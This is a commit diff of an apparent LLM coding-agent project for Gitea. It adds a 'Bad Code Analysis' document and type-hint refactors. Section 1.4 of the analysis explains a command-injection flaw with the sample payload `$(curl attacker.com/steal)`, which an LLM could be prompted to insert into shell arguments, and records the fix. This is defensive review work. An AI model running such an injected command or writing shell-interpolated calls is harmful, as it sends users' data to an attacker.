Compare commits
5 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ae4e2d46ac | |||
| aa9e8222a3 | |||
| 139fb44fac | |||
| 21eefd9824 | |||
| e91780169e |
@@ -28,3 +28,4 @@ logs/
|
||||
agent_state.json
|
||||
ai-electronbun-todo-app/
|
||||
test_connection.py
|
||||
.aider*
|
||||
|
||||
@@ -1,5 +1,11 @@
|
||||
# Agent Instructions
|
||||
|
||||
## Import Organization
|
||||
|
||||
- **Keep all imports at the top of the file.** Never add imports inside functions, methods, or conditional blocks.
|
||||
- Use absolute imports for project modules (e.g., `from gitea.models import IssueModel`).
|
||||
- Remove unused imports when editing files.
|
||||
|
||||
## Python Type Hints (REQUIRED)
|
||||
|
||||
- **All functions must have type hints** for parameters and return types.
|
||||
|
||||
+442
@@ -0,0 +1,442 @@
|
||||
# Bad Code Analysis
|
||||
|
||||
## 1. Security Vulnerabilities
|
||||
|
||||
### 1.1 Hardcoded Credentials in Git Credentials File [RESOLVED]
|
||||
|
||||
**File:** `gitea/workspace.py:46`
|
||||
|
||||
```python
|
||||
cred_line = f"{parsed.scheme}://meeks-ai:{GITEA_TOKEN}@{parsed.netloc}\n"
|
||||
```
|
||||
|
||||
The Gitea token is embedded directly in the git credential URL and written to `~/.git-credentials` in plaintext. Anyone with filesystem access can read the token. This is a critical credential exposure vulnerability.
|
||||
|
||||
**Resolution:**
|
||||
Replaced the plaintext `~/.git-credentials` storage and the local git `credential.helper store` setup with local repository-scoped `http.extraHeader` configuration. The token is dynamically Base64 encoded and passed as `Authorization: Basic <base64>` for cloning and local repository Git operations, ensuring credentials are never stored globally or in plaintext outside the repository's configuration.
|
||||
|
||||
### 1.2 Secrets Set as Environment Variables at Import Time [RESOLVED]
|
||||
|
||||
**File:** `gitea/config.py:38-43`
|
||||
|
||||
```python
|
||||
os.environ["GITEA_SERVER_URL"] = GITEA_URL
|
||||
os.environ["GITEA_SERVER_TOKEN"] = GITEA_TOKEN
|
||||
```
|
||||
|
||||
Secrets were injected into the global environment at module import time. This polluted the process environment, made secrets discoverable via `os.environ`, and could leak into child processes, logs, and debugging tools.
|
||||
|
||||
**Resolution:**
|
||||
Removed the code block writing secrets to `os.environ` at import time in `gitea/config.py`.
|
||||
|
||||
|
||||
### 1.3 Hardcoded Personal Email [RESOLVED]
|
||||
|
||||
**File:** `gitea/workspace.py:60`
|
||||
|
||||
```python
|
||||
email = user.email or f"{user.login or 'agent'}@noreply.gitea"
|
||||
```
|
||||
|
||||
A personal email address was hardcoded as a fallback. This has been resolved by using a dynamic fallback email based on the authenticated user's login name.
|
||||
|
||||
### 1.4 No Input Sanitization in Shell Commands [RESOLVED]
|
||||
|
||||
**File:** `gitea/tools/coding_tools.py:266`, `coding_tools.py:200`
|
||||
|
||||
```python
|
||||
command: str = f"grep -ri '{pattern}' {resolved}"
|
||||
```
|
||||
|
||||
```python
|
||||
if "tea pr create" in command:
|
||||
```
|
||||
|
||||
User-controlled or LLM-generated strings were interpolated directly into shell commands with `shell=True`. This was a command injection vulnerability. The LLM could have been prompted to inject commands like `$(curl attacker.com/steal)` into file paths or search patterns.
|
||||
|
||||
**Resolution:**
|
||||
Modified `grep_search` to invoke the `grep` subprocess safely with `shell=False` and a list of command arguments `["grep", "-ri", pattern, resolved]`, eliminating shell interpolation and command injection risks. Added corresponding test assertions to verify `shell=False` execution.
|
||||
|
||||
## 2. Architecture Anti-Patterns
|
||||
|
||||
### 2.1 God Class: GiteaClient [RESOLVED]
|
||||
|
||||
**File:** `gitea/client.py` (451 lines, 30+ methods)
|
||||
`GiteaClient` implements 5 interfaces (`IssuesClient`, `PullRequestsClient`, `FilesClient`, `RefsClient`, `ReposClient`) and contains 30+ methods covering issues, PRs, files, refs, notifications, and repository operations. This violates the Single Responsibility Principle. Any change to one area (e.g., adding a new issue endpoint) requires touching a massive, unrelated class.
|
||||
|
||||
**Resolution:**
|
||||
Refactored `GiteaClient` from a 502-line God Class into a ~70-line facade that provides access to 5 focused sub-clients, each responsible for a single domain:
|
||||
- `gitea/issues_client.py` - `IssuesClient` (9 methods for issue operations)
|
||||
- `gitea/prs_client.py` - `PullRequestsClient` (17 methods for PR operations)
|
||||
- `gitea/files_client.py` - `FilesClient` (4 methods for file and git ref operations)
|
||||
- `gitea/notifications_client.py` - `NotificationsClient` (2 methods for notification operations)
|
||||
- `gitea/repos_client.py` - `ReposClient` (2 methods for repository and user operations)
|
||||
|
||||
Each sub-client follows the Single Responsibility Principle and is independently testable. The `GiteaClient` now only handles HTTP client lifecycle (`__init__`, `close`, `__enter__`, `__exit__`, `__del__`) and exposes the sub-clients as attributes (`client.issues`, `client.prs`, `client.files`, `client.notifications`, `client.repos`). All callers were updated to use the sub-clients directly.
|
||||
|
||||
### 2.2 Triple Layer of Indirection (Facade Anti-Pattern) [RESOLVED]
|
||||
|
||||
**File:** `gitea/client.py` -> `gitea/tools/gitea_tools.py` -> `gitea/tools/issue_tools.py`
|
||||
|
||||
```
|
||||
CodingAgent calls GiteaTools.add_comment()
|
||||
-> GiteaTools delegates to IssueTools.add_comment()
|
||||
-> IssueTools calls GiteaClient.add_comment()
|
||||
```
|
||||
|
||||
Each layer adds zero value — no caching, no validation, no abstraction benefit. It's just pass-through delegation that makes the code harder to navigate and debug.
|
||||
|
||||
**Resolution:**
|
||||
Removed the `GiteaTools` facade class entirely. The `AgentDispatcher`, `AgentOrchestrator`, and `TaskProcessor` classes now use the focused tool classes (`IssueTools`, `PRTools`, `FileTools`, `GitTools`) directly. This eliminates the unnecessary indirection layer and makes the code easier to navigate and debug. The `gitea/tools/gitea_tools.py` file and its corresponding test file `tests/test_gitea_tools.py` were deleted.
|
||||
|
||||
### 2.3 Useless Factory Pattern [RESOLVED]
|
||||
|
||||
**File:** `core/factory.py`
|
||||
|
||||
```python
|
||||
@staticmethod
|
||||
def create_coding_agent(model_name: str) -> CodingAgent:
|
||||
return CodingAgent(model_name)
|
||||
```
|
||||
|
||||
Every factory method was a static method that directly instantiated and returned the object with no polymorphism or abstraction. This added a useless layer of indirection.
|
||||
|
||||
**Resolution:**
|
||||
The factory classes were completely removed. The components (`NotificationReaderAgent`, `CodingAgent`, etc.) are now imported and instantiated directly where they are used. The `core/factory.py` file was deleted.
|
||||
|
||||
### 2.4 Duplicate Agent Classes with Identical Prompts [RESOLVED]
|
||||
|
||||
**File:** `core/coding_agent.py:13`, `core/planning_agent.py:13`
|
||||
|
||||
```python
|
||||
# coding_agent.py
|
||||
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
|
||||
|
||||
# planning_agent.py
|
||||
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
|
||||
```
|
||||
|
||||
`CodingAgent` and `PlanningAgent` are separate classes that use the exact same system prompt. There is no behavioral differentiation — they are identical code with different names. This is copy-paste duplication.
|
||||
|
||||
**Resolution:**
|
||||
Created a distinct, tailored `PLANNING_AGENT_SYSTEM_PROMPT` in [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) specifically for the planning phase (focusing on research and drafting implementation plans without instructions on Git checkout/commit/PR lifecycle). Updated [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) to import and use the new prompt and added strict type hints to both [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) and [coding_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/coding_agent.py).
|
||||
|
||||
|
||||
### 2.5 Vacuous Interface Hierarchy [RESOLVED]
|
||||
|
||||
**File:** `core/interfaces.py`
|
||||
The ABC interfaces (`IssuesClient`, `PullRequestsClient`, etc.) are defined but serve no practical purpose. `GiteaClient` directly inherits from all of them, but since there is only one implementation, the interfaces add no value. They neither enable mocking in tests nor allow swapping implementations. They are interfaces in name only.
|
||||
|
||||
**Resolution:**
|
||||
Removed the vacuous interfaces entirely. Deleted `core/interfaces.py` and updated `GiteaClient` (`gitea/client.py`) and `BaseAgent` (`core/agent.py`) to no longer inherit from or import these unused Abstract Base Classes.
|
||||
|
||||
|
||||
## 3. Error Handling Problems
|
||||
|
||||
### 3.1 Bare Except Clauses Swallowing All Errors [RESOLVED]
|
||||
|
||||
Scattered throughout the codebase (especially in `core/dispatcher.py` when retrieving files, comments, or reviews):
|
||||
|
||||
```python
|
||||
# core/dispatcher.py:475
|
||||
except Exception:
|
||||
pass
|
||||
```
|
||||
|
||||
Bare/silent `except Exception` blocks caught all unexpected errors and bypassed logging or error handling, making debugging difficult.
|
||||
|
||||
**Resolution:**
|
||||
Refactored all silent `except Exception: pass` blocks in `core/dispatcher.py` to capture the exception and log a warning with `logger.warning(..., exc_info=True)`. This preserves visibility of API or filesystem errors during issue and PR task processing.
|
||||
|
||||
### 3.2 `print()` Mixed with Logging Framework [RESOLVED]
|
||||
|
||||
**File:** `gitea/client.py:41, 61, 176, 218, 237, 420, 431, 449`
|
||||
The codebase uses Python's `logging` module in some places but falls back to `print()` for error output in `GiteaClient`. This creates inconsistent log output, bypasses log rotation, and makes it impossible to filter or route errors through structured logging.
|
||||
|
||||
**Resolution:**
|
||||
Replaced all `print()` statements in `gitea/client.py`, `gitea/tools/pr_tools.py`, and `gitea/tools/issue_tools.py` with standard Python logging calls using `logger.error(..., exc_info=True)`. Logger objects are initialized per module and consistent log/error handling is established.
|
||||
|
||||
### 3.3 Silent Failure in `list_assigned_issues` [RESOLVED]
|
||||
|
||||
**File:** `gitea/client.py:161-162`
|
||||
|
||||
```python
|
||||
repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
|
||||
repo_name = r.name if hasattr(r, 'name') else r.get("name", "")
|
||||
```
|
||||
|
||||
The code checks `hasattr` as a fallback, which means the `RepositoryModel` type is sometimes a Pydantic model and sometimes a raw `dict`. This is a type inconsistency that indicates the model is not being used correctly.
|
||||
|
||||
**Resolution:**
|
||||
Removed the redundant `hasattr` checks and fallback dictionary access in both `list_assigned_issues` and `list_assigned_pull_requests` methods of `GiteaClient`. Because `RepositoryModel` is used consistently, properties `r.owner` and `r.name` are accessed directly.
|
||||
|
||||
## 4. Dangerous Side Effects
|
||||
|
||||
### 4.1 `os.chdir()` in Dispatcher [RESOLVED]
|
||||
|
||||
**File:** `core/dispatcher.py:680-684`
|
||||
|
||||
```python
|
||||
original_cwd = os.getcwd()
|
||||
if os.path.isdir(str(repo_path)):
|
||||
os.chdir(str(repo_path))
|
||||
changed_dir = True
|
||||
```
|
||||
|
||||
Changing the working directory in a long-running async process is dangerous. If any coroutine runs concurrently or if the `finally` block fails to restore the directory, all subsequent file operations in the process will target the wrong directory. The `finally` restoration is a band-aid, not a solution.
|
||||
|
||||
**Resolution:**
|
||||
Removed the `os.chdir()` call and related directory-restoration logic completely from `AgentDispatcher.dispatch`. Since all subprocess commands, git operations, and file operations in `WorkspaceManager` and `CodingTools` are invoked with explicit local repository working directory parameters (`cwd` or `-C`), changing the global process directory is completely unnecessary and has been safely eliminated.
|
||||
|
||||
### 4.2 Destructive `sanitize_repo` [RESOLVED]
|
||||
|
||||
**File:** `gitea/workspace.py:81-118`
|
||||
|
||||
```python
|
||||
subprocess.run(["git", "-C", str(repo_path), "reset", "--hard", "HEAD"], ...)
|
||||
subprocess.run(["git", "-C", str(repo_path), "clean", "-fdx"], ...)
|
||||
```
|
||||
|
||||
`git reset --hard HEAD` and `git clean -fdx` destroy all uncommitted changes and untracked files. This is destructive and irreversible. In an automated agent context, this could delete work that was in progress.
|
||||
|
||||
**Resolution:**
|
||||
Refactored `WorkspaceManager.sanitize_repo` to first check if there are uncommitted changes or untracked files using `git status --porcelain`. If any are found, it runs `git stash push -u -m "Auto-backup before agent sanitization"` to preserve them in git stash. Additionally, if any of the sanitization subprocess calls fail, the method raises a `RuntimeError` rather than catching and swallowing it, avoiding silent downstream failures.
|
||||
|
||||
### 4.3 Global `git config --global --unset` [RESOLVED]
|
||||
|
||||
**File:** `gitea/workspace.py:22-33`
|
||||
|
||||
```python
|
||||
subprocess.run(["git", "config", "--global", "--unset", "credential.helper"], ...)
|
||||
subprocess.run(["git", "config", "--global", "--unset", "user.name"], ...)
|
||||
```
|
||||
|
||||
Unsetting global git config on every `WorkspaceManager` instantiation affects the entire user's git configuration, not just the agent's workspace. This is a dangerous side effect that could break the user's other git workflows.
|
||||
|
||||
**Resolution:**
|
||||
Removed the `_configure_git_credentials()` method entirely. The agent now relies on local repository-scoped `http.extraHeader` configurations and local git configs, avoiding any global config changes and eliminating global side-effects.
|
||||
|
||||
## 5. Code Quality Issues
|
||||
|
||||
### 5.1 `Any` Type Overuse [RESOLVED]
|
||||
|
||||
Throughout the codebase, `Any` was used where specific types would be better:
|
||||
|
||||
```python
|
||||
# gitea/client.py:34
|
||||
def get_authenticated_user(self) -> UserModel | None:
|
||||
# Returns UserModel but internally handles raw dict
|
||||
|
||||
# gitea/tools/gitea_tools.py:58
|
||||
def list_assigned_issues(self) -> list[dict]: # Bare dict, not dict[str, Any]
|
||||
```
|
||||
|
||||
**Resolution:**
|
||||
Replaced `Any` type annotations with `object` or specific types across the codebase:
|
||||
- `core/agent.py`: Changed `Any` to `object` for message parameters and model attributes
|
||||
- `gitea/files_client.py`: Changed `dict[str, Any]` to `dict[str, object]`
|
||||
- `gitea/issues_client.py`: Changed `dict[str, Any]` to `dict[str, str | list[str]]` for issue data
|
||||
- `gitea/models.py`: Changed `dict[str, Any]` to `dict[str, object]` for `head` and `base` fields
|
||||
- `gitea/notifications_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
|
||||
- `gitea/prs_client.py`: Changed `dict[str, Any]` to specific types (`dict[str, str | None]`, `dict[str, str]`, `dict[str, object]`) and introduced `ReviewRequest` dataclass for review payloads
|
||||
- `gitea/repos_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
|
||||
- `gitea/tools/git_tools.py`: Removed unused `from typing import Any` import
|
||||
|
||||
### 5.2 `assert` Used for Control Flow [RESOLVED]
|
||||
|
||||
**Files:** `core/dispatcher.py:492, 741, 754`, `core/agent.py:74, 94`
|
||||
|
||||
```python
|
||||
issue_info = self.item.task_info
|
||||
assert isinstance(issue_info, IssueModel)
|
||||
```
|
||||
|
||||
`assert` can be disabled with `python -O` (optimize flag). Using it for runtime type validation means the check disappears in production builds.
|
||||
|
||||
**Resolution:**
|
||||
Replaced all control-flow `assert` statements with proper runtime checks (raising `TypeError` for invalid task info in `core/dispatcher.py`, and `RuntimeError` if model initialization fails in `core/agent.py`). Also added unit tests in `tests/test_dispatcher.py` to verify correct raising of `TypeError` when invalid task info models are provided.
|
||||
|
||||
|
||||
### 5.3 Hardcoded Values Scattered Throughout [RESOLVED]
|
||||
|
||||
**Files:** `core/dispatcher.py:82`, `gitea/client.py:67,440`, `gitea/config.py`
|
||||
|
||||
```python
|
||||
# core/dispatcher.py:82
|
||||
agent_usernames = {ai_username, "agent-bot"} # Hardcoded fallback username
|
||||
|
||||
# gitea/client.py:67
|
||||
if (r.get("owner") or {}).get("login") == "meeks": # Hardcoded org filter
|
||||
|
||||
# gitea/client.py:440
|
||||
if owner_login == "meeks": # Hardcoded org filter in notifications
|
||||
```
|
||||
|
||||
**Resolution:**
|
||||
Added configurable settings `agent_usernames` (list of additional agent usernames) and `gitea_org_filter` (organization name for repo filtering) to `gitea/config.py`. Updated `core/dispatcher.py` to use `AGENT_USERNAMES` from config instead of hardcoded `"agent-bot"`. Updated `gitea/client.py` to use `GITEA_ORG_FILTER` in both `list_all_user_repos()` and `list_unread_notifications()` methods. The `agent_model_id` was already configurable via environment variables.
|
||||
|
||||
### 5.4 Inconsistent Return Types [RESOLVED]
|
||||
|
||||
Methods that should return structured data return `str` instead:
|
||||
|
||||
```python
|
||||
# gitea/tools/issue_tools.py:15
|
||||
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
||||
# Returns IssueModel instead of JSON string
|
||||
|
||||
# gitea/tools/pr_tools.py:19
|
||||
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
|
||||
# Returns PullRequestModel instead of JSON string
|
||||
|
||||
# gitea/tools/pr_tools.py:122
|
||||
def create_pull_request(...) -> PullRequestModel:
|
||||
# Returns PullRequestModel instead of JSON string
|
||||
|
||||
# gitea/tools/pr_tools.py:139
|
||||
def update_pull_request(...) -> PullRequestModel:
|
||||
# Returns PullRequestModel instead of JSON string
|
||||
```
|
||||
|
||||
The callers (LLM agent framework) handle model-to-JSON serialization automatically, so returning the model object directly provides type safety without losing the ability to display structured data to the LLM.
|
||||
|
||||
**Resolution:**
|
||||
Updated `IssueTools.get_issue` to return `IssueModel`, `PRTools.get_pull_request` to return `PullRequestModel`, and `PRTools.create_pull_request` / `PRTools.update_pull_request` to return `PullRequestModel`. All methods now have proper return type hints and raise exceptions on error instead of returning error strings. Updated corresponding tests to verify model objects are returned directly.
|
||||
|
||||
### 5.5 Mutable Default Arguments (Near Miss)
|
||||
|
||||
While the codebase correctly uses `Field(default_factory=list)` in Pydantic models, the `CoordinatorTools` and `NotificationTools` classes use mutable instance attributes (`self.arguments: dict[str, Any] = {}`) that are shared state across tool calls. If two tool calls happen before the next decision, the arguments accumulate.
|
||||
|
||||
## 6. Performance Issues
|
||||
|
||||
### 6.1 Creating HTTP Client Per Request [RESOLVED]
|
||||
|
||||
**File:** `gitea/client.py`
|
||||
|
||||
Every HTTP method previously created a new `httpx.Client()` context manager. This meant a new TCP connection was established for every API call. A single `poll_and_dispatch` cycle could create 10+ HTTP clients.
|
||||
|
||||
**Resolution:**
|
||||
Updated `GiteaClient` to initialize a single shared `self.client: httpx.Client = httpx.Client(headers=self.headers)` during class instantiation. Removed the block-scoped `with httpx.Client() as client:` contexts and direct `httpx.get()` calls, and updated the test suite (`tests/test_client.py`) to patch `httpx.Client.get` instead.
|
||||
|
||||
|
||||
### 6.2 No Caching
|
||||
|
||||
- Notifications are re-fetched every 60 seconds without any deduplication beyond the `since` timestamp
|
||||
- PR diffs are fetched fresh every time a PR is processed
|
||||
- File contents are fetched from the remote API instead of the local workspace when the repo is already cloned
|
||||
|
||||
## 7. Concurrency Issues
|
||||
|
||||
### 7.1 WorkQueue Claims Thread-Safety But Has None [RESOLVED]
|
||||
|
||||
**File:** `core/queue.py:19`
|
||||
|
||||
```python
|
||||
class WorkQueue:
|
||||
"""Thread-safe work queue grouped by repo."""
|
||||
```
|
||||
|
||||
The docstring claimed thread-safety, but there were no locks. This has been resolved by using a `threading.Lock` inside all queue methods to serialize access to the internal lists and sets.
|
||||
|
||||
### 7.2 No Mutex on Workspace Operations
|
||||
|
||||
Multiple work items for the same repo can trigger concurrent `git clone`, `git reset`, and `git clean` operations. There is no locking to prevent race conditions on the filesystem.
|
||||
|
||||
## 8. Prompt Engineering Issues
|
||||
|
||||
### 8.1 Massive Embeded System Prompts
|
||||
|
||||
**File:** `core/coding_prompt.py` (221 lines)
|
||||
A 221-line system prompt is embedded as a module-level string constant. This makes the prompt impossible to version-control separately, A/B test, or update without redeploying code. Prompts should be in separate files or a database.
|
||||
|
||||
### 8.2 Duplicated Prompt Content [RESOLVED]
|
||||
|
||||
`CODING_AGENT_SYSTEM_PROMPT` is used by both `CodingAgent` and `PlanningAgent` with no differentiation. If the planning agent needs different instructions, both agents must be updated simultaneously.
|
||||
|
||||
**Resolution:**
|
||||
Defined `PLANNING_AGENT_SYSTEM_PROMPT` inside [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) to differentiate planning-specific instructions from coding/execution instructions.
|
||||
|
||||
|
||||
## 9. Testing Issues
|
||||
|
||||
### 9.1 Tests Don't Mock HTTP Calls
|
||||
|
||||
**File:** `tests/test_client.py` and others
|
||||
The tests appear to test real HTTP calls or minimal mocking. The `GiteaClient` creates its own `httpx.Client()` internally, making it impossible to inject a mock client. Tests should use dependency injection or `unittest.mock.patch` to avoid network calls.
|
||||
|
||||
### 9.2 No Tests for Critical Paths
|
||||
|
||||
- `WorkspaceManager.sanitize_repo()` (destructive git operations) has no tests
|
||||
- `CodingTools.run_command()` (shell execution) has no tests
|
||||
- `AgentOrchestrator.poll_and_dispatch()` (main polling loop) has no integration tests
|
||||
- `dispatcher.py` (763 lines) has no dedicated test coverage
|
||||
|
||||
## 10. CUPID Programming Violations
|
||||
|
||||
### 10.1 Not Clear [RESOLVED]
|
||||
|
||||
- **Excessive indirection:** `GiteaTools` -> `IssueTools` -> `GiteaClient` adds 3 levels of pass-through with zero value [RESOLVED - see 2.2]
|
||||
- **Unclear responsibilities:** `GiteaClient` handles issues, PRs, files, refs, notifications, and repository management — 5 distinct domains [RESOLVED - see 2.1]
|
||||
- **Confusing naming:** `add_comment` and `add_comment_to_issue` do the same thing; `add_label` and `add_label_to_issue` do the same thing [RESOLVED]
|
||||
|
||||
**Resolution (Confusing Naming):**
|
||||
Removed the duplicate methods `add_comment` and `add_label` from `IssueTools`. Only the more descriptive `add_comment_to_issue` and `add_label_to_issue` methods remain. Updated `core/dispatcher.py` to remove the duplicate tool registrations and updated `core/coding_prompt.py` to reference only `add_comment_to_issue`. Removed corresponding duplicate tests from `tests/test_issue_tools.py`.
|
||||
|
||||
### 10.2 Not Understandable
|
||||
|
||||
- **Massive files:** `dispatcher.py` (763 lines), `coding_prompt.py` (221 lines), `client.py` (451 lines) are too large to comprehend in a single reading
|
||||
- **Complex control flow:** `IssueTaskProcessor.process()` (lines 452-653) has 7 nested `if/elif` branches, multiple `try/except` blocks, and inline subprocess calls — impossible to mentally trace
|
||||
- **Mixed concerns:** `workspace.py` mixes git credential management, repo cloning, and user configuration setup
|
||||
|
||||
### 10.3 Not Performant
|
||||
|
||||
- **HTTP client per request:** Every API call creates a new TCP connection (see section 6.1)
|
||||
- **No connection pooling:** `httpx.Client()` should be a shared singleton
|
||||
- **Redundant data fetching:** Fetches PR diff, PR files, PR comments, and PR reviews separately when they could be batched
|
||||
- **Inline subprocess calls:** Multiple `subprocess.run()` calls in `IssueTaskProcessor.process()` for git operations instead of using a git library
|
||||
|
||||
### 10.4 Not Inspectable
|
||||
|
||||
- **Minimal logging:** Most errors use `print()` instead of the logging framework
|
||||
- **No metrics:** No counters for API calls, errors, processing times, or queue depth
|
||||
- **No structured tracing:** No request IDs, no correlation between notification receipt and processing
|
||||
- **State file is opaque:** `agent_state.json` is a simple timestamp with no versioning or migration
|
||||
|
||||
### 10.5 Not Delightful
|
||||
|
||||
- **Poor error messages:** `"Error getting issue: {str(e)}"` gives no actionable information
|
||||
- **No user feedback:** When the agent fails, there is no graceful degradation or helpful error message
|
||||
- **Destructive operations:** `git reset --hard` and `git clean -fdx` with no confirmation or dry-run option
|
||||
- **Silent failures:** Methods return empty lists or `None` on error with no way to detect the failure downstream
|
||||
|
||||
## Summary
|
||||
|
||||
| Category | Severity | Total | Unresolved |
|
||||
| -------------------------- | -------- | ----- | ---------- |
|
||||
| Security Vulnerabilities | Critical | 4 | 0 |
|
||||
| Architecture Anti-Patterns | High | 5 | 0 |
|
||||
| Error Handling Problems | High | 3 | 0 |
|
||||
| Dangerous Side Effects | High | 3 | 0 |
|
||||
| Code Quality Issues | Medium | 5 | 1 |
|
||||
| Performance Issues | Medium | 2 | 1 |
|
||||
| Concurrency Issues | Medium | 2 | 1 |
|
||||
| Prompt Engineering Issues | Medium | 2 | 1 |
|
||||
| Testing Issues | Medium | 2 | 2 |
|
||||
| CUPID Violations | High | 5 | 4 |
|
||||
|
||||
**Total: 33 issues identified, 10 unresolved.**
|
||||
|
||||
### Unresolved Issues
|
||||
|
||||
| # | Issue | Section |
|
||||
| ---- | -------------------------------------- | ------- |
|
||||
| 1 | Mutable Default Arguments (Near Miss) | 5.5 |
|
||||
| 2 | No Caching | 6.2 |
|
||||
| 3 | No Mutex on Workspace Operations | 7.2 |
|
||||
| 4 | Massive Embedded System Prompts | 8.1 |
|
||||
| 5 | Tests Don't Mock HTTP Calls | 9.1 |
|
||||
| 6 | No Tests for Critical Paths | 9.2 |
|
||||
| 7 | Not Understandable | 10.2 |
|
||||
| 8 | Not Performant | 10.3 |
|
||||
| 9 | Not Inspectable | 10.4 |
|
||||
| 10 | Not Delightful | 10.5 |
|
||||
|
||||
+4
-4
@@ -1,7 +1,7 @@
|
||||
import asyncio
|
||||
import logging
|
||||
import lmstudio as lms
|
||||
from typing import Any, Callable
|
||||
from typing import Callable
|
||||
from .prompt import CAVEMAN_PROMPT
|
||||
|
||||
logger: logging.Logger = logging.getLogger("agent-base")
|
||||
@@ -13,7 +13,7 @@ class _ActResponseCapture:
|
||||
def __init__(self) -> None:
|
||||
self.responses: list[str] = []
|
||||
|
||||
def __call__(self, message: Any) -> None:
|
||||
def __call__(self, message: object) -> None:
|
||||
content: str = ""
|
||||
if hasattr(message, 'content'):
|
||||
content = message.content
|
||||
@@ -58,7 +58,7 @@ class BaseAgent:
|
||||
|
||||
def __init__(self, model_name: str) -> None:
|
||||
self.model_name: str = model_name
|
||||
self.model: Any | None = None
|
||||
self.model: object | None = None
|
||||
self.system_prompt: str = ""
|
||||
|
||||
async def initialize(self) -> None:
|
||||
@@ -87,7 +87,7 @@ class BaseAgent:
|
||||
logger.error(f"Agent execution error: {e}")
|
||||
return f"Error in agent execution: {str(e)}"
|
||||
|
||||
async def run_with_tools(self, user_input: str, tools: list[Any]) -> str:
|
||||
async def run_with_tools(self, user_input: str, tools: list[object]) -> str:
|
||||
"""Run the agent with tool calling capability."""
|
||||
if self.model is None:
|
||||
await self.initialize()
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
|
||||
import base64
|
||||
import logging
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
|
||||
@@ -25,7 +24,7 @@ class FilesClient:
|
||||
|
||||
def update_file(
|
||||
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
|
||||
) -> dict[str, Any]:
|
||||
) -> dict[str, object]:
|
||||
"""Update a file in a repository.
|
||||
|
||||
Args:
|
||||
@@ -79,7 +78,7 @@ class FilesClient:
|
||||
else ""
|
||||
)
|
||||
|
||||
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
|
||||
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
|
||||
"""Update a git reference.
|
||||
|
||||
Args:
|
||||
@@ -97,7 +96,7 @@ class FilesClient:
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
|
||||
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
|
||||
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
|
||||
"""Create a new git reference.
|
||||
|
||||
Args:
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
"""Issues client for Gitea API operations."""
|
||||
|
||||
import logging
|
||||
from typing import Any, Callable, Optional
|
||||
from typing import Callable, Optional
|
||||
|
||||
import httpx
|
||||
|
||||
@@ -196,7 +196,7 @@ class IssuesClient:
|
||||
The created issue.
|
||||
"""
|
||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
|
||||
data: dict[str, Any] = {"title": title, "body": body}
|
||||
data: dict[str, str | list[str]] = {"title": title, "body": body}
|
||||
if labels:
|
||||
data["labels"] = labels
|
||||
if assignees:
|
||||
|
||||
+3
-3
@@ -1,6 +1,6 @@
|
||||
"""Pydantic models for Gitea API entities."""
|
||||
|
||||
from typing import Optional, Any
|
||||
from typing import Optional
|
||||
|
||||
from pydantic import BaseModel, Field, field_validator
|
||||
|
||||
@@ -71,8 +71,8 @@ class PullRequestModel(BaseModel):
|
||||
updated_at: Optional[str] = None
|
||||
closed_at: Optional[str] = None
|
||||
merged_at: Optional[str] = None
|
||||
head: dict[str, Any] = Field(default_factory=dict)
|
||||
base: dict[str, Any] = Field(default_factory=dict)
|
||||
head: dict[str, object] = Field(default_factory=dict)
|
||||
base: dict[str, object] = Field(default_factory=dict)
|
||||
repository: Optional[RepositoryModel] = None
|
||||
comments: int = 0
|
||||
comments_url: Optional[str] = None
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
"""Notifications client for Gitea API operations."""
|
||||
|
||||
import logging
|
||||
from typing import Any, Optional
|
||||
from typing import Optional
|
||||
|
||||
import httpx
|
||||
|
||||
@@ -26,7 +26,7 @@ class NotificationsClient:
|
||||
|
||||
def list_unread_notifications(
|
||||
self, since: Optional[str] = None
|
||||
) -> list[dict[str, Any]]:
|
||||
) -> list[dict[str, object]]:
|
||||
"""List unread notifications.
|
||||
|
||||
Args:
|
||||
@@ -42,9 +42,9 @@ class NotificationsClient:
|
||||
params["since"] = since
|
||||
response = self.client.get(url, params=params)
|
||||
response.raise_for_status()
|
||||
notifications: list[dict[str, Any]] = response.json()
|
||||
notifications: list[dict[str, object]] = response.json()
|
||||
|
||||
result: list[dict[str, Any]] = []
|
||||
result: list[dict[str, object]] = []
|
||||
for n in notifications:
|
||||
repo_info = n.get("repository") or {}
|
||||
owner_info = repo_info.get("owner") or {}
|
||||
|
||||
+18
-11
@@ -1,7 +1,8 @@
|
||||
"""Pull Requests client for Gitea API operations."""
|
||||
|
||||
import logging
|
||||
from typing import Any, Callable
|
||||
from dataclasses import dataclass
|
||||
from typing import Callable
|
||||
|
||||
import httpx
|
||||
|
||||
@@ -17,6 +18,12 @@ from .models import (
|
||||
logger: logging.Logger = logging.getLogger("gitea.prs_client")
|
||||
|
||||
|
||||
@dataclass
|
||||
class ReviewRequest:
|
||||
event: str
|
||||
body: str
|
||||
|
||||
|
||||
class PullRequestsClient:
|
||||
"""HTTP client for Gitea Pull Requests API operations."""
|
||||
|
||||
@@ -288,7 +295,7 @@ class PullRequestsClient:
|
||||
"""
|
||||
try:
|
||||
